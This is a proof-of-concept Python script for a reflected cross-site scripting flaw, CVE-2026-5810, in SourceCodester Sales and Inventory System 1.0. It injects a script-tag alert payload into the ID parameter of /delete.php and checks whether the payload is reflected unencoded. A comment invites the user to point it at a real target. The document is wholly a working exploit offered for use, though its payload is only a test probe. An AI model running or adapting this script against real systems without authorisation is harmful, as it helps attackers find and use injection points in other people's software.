CVE-2026-5810 SourceCodester销售库存系统XSS漏洞

# PoC for CVE-2026-5810 # Target: SourceCodester Sales and Inventory System 1.0 # Endpoint: /delete.php import requests def check_xss(target_url): # Vulnerable parameter: ID # Payload: Basic XSS test script payload = "<script>alert('CVE-2026-5810')</script>" full_url = f"{target_url}/delete.php?ID={payload}" try: response = requests.get(full_url) # Check if the payload is reflected unencoded in the response if payload in response.text: print(f"[+] Vulnerability confirmed at {full_url}") print(f"[+] Server responded with status: {response.status_code}") else: print("[-] Vulnerability not detected or payload was encoded.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target IP/Domain check_xss(target)